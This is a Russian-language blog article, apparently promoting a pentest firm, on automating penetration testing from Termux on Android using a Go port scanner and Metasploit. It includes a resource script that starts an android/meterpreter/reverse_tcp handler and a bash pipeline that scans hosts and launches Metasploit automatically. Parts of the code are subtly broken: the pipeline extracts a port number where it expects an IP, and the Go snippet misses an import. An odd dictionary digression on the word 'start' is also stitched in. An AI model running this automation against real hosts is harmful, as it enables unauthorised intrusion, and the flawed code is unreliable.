Termux – это полноценное Linux‑окружение для Android, которое предоставляет возможность писать, компилировать и исполнять скрипты непосредственно на мобильном устройстве. Для специалистов по информационной безопасности это открывает новые горизонты: можно проводить пентест «на ходу», использовать привычные инструменты (Metasploit, Nmap, sqlmap) и писать собственные утилиты на быстрых языках, например Go.
В этой статье мы разберём, как построить безопасные автоматизированные скрипты, минимизировать риск случайного раскрытия уязвимостей и обеспечить надёжную интеграцию с Metasploit.
Почему именно Termux?
- Полный набор пакетов
aptиpkgбез root‑прав. - Поддержка
golang,python,rubyи других языков. - Наличие
tmuxиsshдля многозадачности и удалённого управления.
Для начала работы необходимо установить базовые пакеты:
pkg update && pkg upgrade -y
pkg install git curl wget openssh tmux -y
pkg install golang metasploit -y
Определение термина «start» в контексте скриптов
Термин start в английском языке имеет несколько значений, среди которых – «начать действие», «запустить процесс»[merriam-webster.com](https://www.merriam-webster.com/dictionary/start) и «начать работу над чем‑то»[dictionary.com](https://www.dictionary.com/browse/start). При разработке скриптов важно чётко отделять инициализацию (запуск) от логики выполнения, чтобы избежать непреднамеренных побочных эффектов.
Безопасность скриптов: основные принципы
- Изоляция окружения. Запускайте скрипты в отдельном
tmux‑сеансе или под отдельным пользователем (если устройство поддерживает multi‑user). - Валидация входных данных. Никогда не доверяйте пользовательскому вводу – проверяйте тип, диапазон и длину.
- Минимизация привилегий. По возможности используйте
runuserилиsudo -u(в Termux —tsuпри наличии root). - Шифрование секретов. Храните пароли, токены и ключи в зашифрованных файлах
.encи расшифровывайте их только в памяти. - Логирование без утечки. Пишите логи в
/data/data/com.termux/files/home/logsи регулярно ротациюйте их.
Разработка утилиты на Go
Go — компилируемый язык с небольшим размером бинарника, что идеально подходит для мобильных устройств. Ниже пример простого сканера портов, который может быть использован как часть цепочки автоматизации.
package main
import (
"fmt"
"net"
"time"
)
func scanPort(host string, port int) bool {
address := fmt.Sprintf("%s:%d", host, port)
conn, err := net.DialTimeout("tcp", address, 500*time.Millisecond)
if err != nil {
return false
}
conn.Close()
return true
}
func main() {
target := "192.168.1.100"
fmt.Printf("Scanning %s...
", target)
for port := 1; port <= 1024; port++ {
if scanPort(target, port) {
fmt.Printf("[+] Open port: %d
", port)
}
}
}
Скомпилировать и запустить:
go build -o portscanner main.go
./portscanner
Интеграция с Metasploit
Metasploit в Termux работает в режиме консоли msfconsole. Для автоматизации часто используют resource scripts (.rc‑файлы). Ниже пример auto_exploit.rc, который принимает IP‑адрес из переменной окружения, запущенной из Go‑утилиты.
# auto_exploit.rc
set RHOST $ENV{TARGET_IP}
set LHOST 0.0.0.0
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set ExitOnSession false
exploit -j -z
Запуск из Go:
import "os/exec"
func launchMetasploit(ip string) {
os.Setenv("TARGET_IP", ip)
cmd := exec.Command("msfconsole", "-r", "auto_exploit.rc")
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Run()
}
Полный пример автоматизированного пайплайна
Сценарий pentest.sh демонстрирует последовательность действий:
#!/data/data/com.termux/files/usr/bin/bash
# 1. Инициализация окружения
export TERMUX_HOME=$HOME
mkdir -p $TERMUX_HOME/logs
# 2. Сканирование портов (Go‑утилита)
./portscanner > $TERMUX_HOME/logs/ports.txt
TARGET=$(grep "Open port: 445" $TERMUX_HOME/logs/ports.txt | awk '{print $4}')
if [ -z "$TARGET" ]; then
echo "[!] No vulnerable ports found" >> $TERMUX_HOME/logs/pentest.log
exit 1
fi
# 3. Запуск Metasploit с передачей найденного IP
export TARGET_IP=$TARGET
msfconsole -r auto_exploit.rc -q >> $TERMUX_HOME/logs/pentest.log 2>&1
# 4. Очистка временных данных
unset TARGET_IP
Важно помнить о безопасности: скрипт пишет только в каталог logs, не сохраняет пароли, а переменные окружения стираются после завершения.
Тестирование и отладка
- Запускайте скрипт в
tmux‑сеансе:tmux new -s pentest ./pentest.sh. - Проверяйте возвратные коды:
echo $?– 0 – успех, >0 – ошибка. - Для отладки используйте
set -xв начале Bash‑скрипта.
Заключение
Автоматизация пентеста в Termux с применением Go и Metasploit позволяет создавать лёгкие, быстрые и безопасные инструменты, которые работают напрямую на мобильных устройствах. Соблюдая принципы изоляции, валидации и шифрования, вы минимизируете риск утечки данных и обеспечиваете предсказуемое поведение скриптов.
Если вам нужен индивидуальный аудит ваших скриптов, разработка кастомных эксплойтов или настройка инфраструктуры для мобильного пентеста, команда RybinskLab готова помочь. Мы предоставляем услуги по:
- Аудиту безопасности кода и CI/CD‑pipeline.
- Разработке Go‑утилит под Termux с учётом лучших практик.
- Интеграции Metasploit в автоматизированные сценарии.
- Обучению и воркшопам по мобильному пентесту.
Свяжитесь с нами через контактную форму и начните защищать свои проекты уже сегодня.